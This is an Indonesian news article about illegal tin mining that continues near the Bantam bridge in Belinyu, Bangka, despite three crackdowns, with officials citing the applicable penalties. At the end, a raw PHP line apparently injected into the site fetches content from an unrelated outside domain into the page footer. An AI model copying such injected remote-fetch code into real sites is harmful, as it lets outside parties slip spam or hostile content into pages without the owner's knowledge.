Aktivitas TI di DAS Jembatan Bantam Membandel Meski Sudah Ditertibkan

Rabu, 15 September 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Belinyu, Bangka| Jejakkasus.info – Aktivistas Tambang Inkonvensional (TI) illegal di jembatan Bantam Lingkungan Simpang tiga (3) Kelurahan Bukit Ketok Kecamatan Belinyu Kabupaten Bangka Provinsi Kepulauan Bangka Belitung masih terus berlanjut meski beberapa kali dilakukan penertiban.

Dari Pantauan Tim sembilan Selasa (14/09/2021) pukul 15.00 WIB nampak Beberapa TI Sebu lagi beroperasi di DAS jembatan Bantam tidak memikirkan dampaknya. Padahal lokasi tambang TI tidak jauh dari Jalan Raya sekitar 10 meter dan Sungai semakin lama semakin melebar dan sungai mengalami pendangkalan disebabkan aktivitas para penambang TI di DAS.

Syarli Nopriansyah, S.STP selaku Camat Belinyu, Saat dikonfirmasi Selasa (14/09/2021)20.00 WIB langsung dirumah dinasnya oleh Tim Sembilan Jejak Kasus mengatakan, “Kami dari kecamatan sudah 3 kali menertibkan itu”, ucapnya.

Baca Juga:  Gelar Olahraga & Kurve Bersama Forkopimda, Ormas dan Insan Pers 

“Yang pertama diturunkan Satpol PP, yang kedua Lurah dan yang ketiga juga Lurah minggu lalu”.

“Kami juga dapat teguran juga terkait dengan kegiatan itu dari Dinas PUPR Kabupaten Bangka”.

“Alasan melakukan kegiatan pada operasi pertama mereka menutupi lobang atau apa”.

“Kami tidak melihat itu kegiatan yang lain, selain kegiatan penambangan, itu dekat dengan jalan dan dekat alur sungai dan juga berpengaruh pada jembatan”.

“Kita sudah menjelaskan kepada mereka bahwa ini resikonya sangat besar buat kerugian Pemkab Bangka karena ada jembatan dan jalan”.

Baca Juga:  Seorang Pria Di Pekalongan Curi Truck dan Paksa Korban Bayar Tebusan 200 Juta

“Untuk sanksi hukum yang diberikan itu nantinya ke Satpol PP karena mereka punya penyidiknya”, tutur Syarli.

Kemudian apakah ada yang mengkoordinir kegiatan tambang?

“Tidak ada, Mereka waktu itu beralibi bahwa ada lobang yang ini dikerjakan oleh orang yang curi yang kerja pada malam hari. Jadi alibi mereka mau menimbun itu”.

Penambang yang membandel tetap saja menambang padahal sudah 3 kali dilakukan penambangan. Terakhir dilakukan razia tanggal 08 September 2021, tutupnya.

“Mereka bisa dijerat dengan UU Minerba Nomor 3 Tahun 2020
Pasal 158”.

“Setiap orang yang melakukan Penambangan tanpa izin
sebagaimana dimaksud dalam Pasal 35 dipidana dengan
pidana penjara paling lama 5 (lima) tahun dan denda paling
banyak Rp100.OOO.000.000,00 (seratus miliar rupiah)”.

Baca Juga:  169 Kasus 188 Tersangka Berhasil Diungkap Polres Bojonegoro Selama Ops Pekat Semeru 2021

Kemudian, Barang siapa yang membuang limbah Sembarangan hasil dari pertambangan juga dijerat dengan UU PPLH nomor 32 Tahun 2009 Pasal 104 .

“Setiap orang yang melakukan dumping limbah dan/atau bahan ke media lingkungan hidup tanpa izin sebagaimana pasal 60 dipidana dengan pidana penjara paling lama 3 (tiga) tahun dan denda paling banyak Rp3.000.000.000,00 (tiga miliyar rupiah).

Dengan adanya Tambang Timah illegal di kawasan Jembatan Bantam meminta pihak APH untuk menindak tegas para oknum penambang Timah illegal. (Tim Sembilan)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya
Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa
Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba

Berita Terkait

Jumat, 11 Oktober 2024 - 07:45 WIB

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya

Kamis, 10 Oktober 2024 - 16:33 WIB

Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>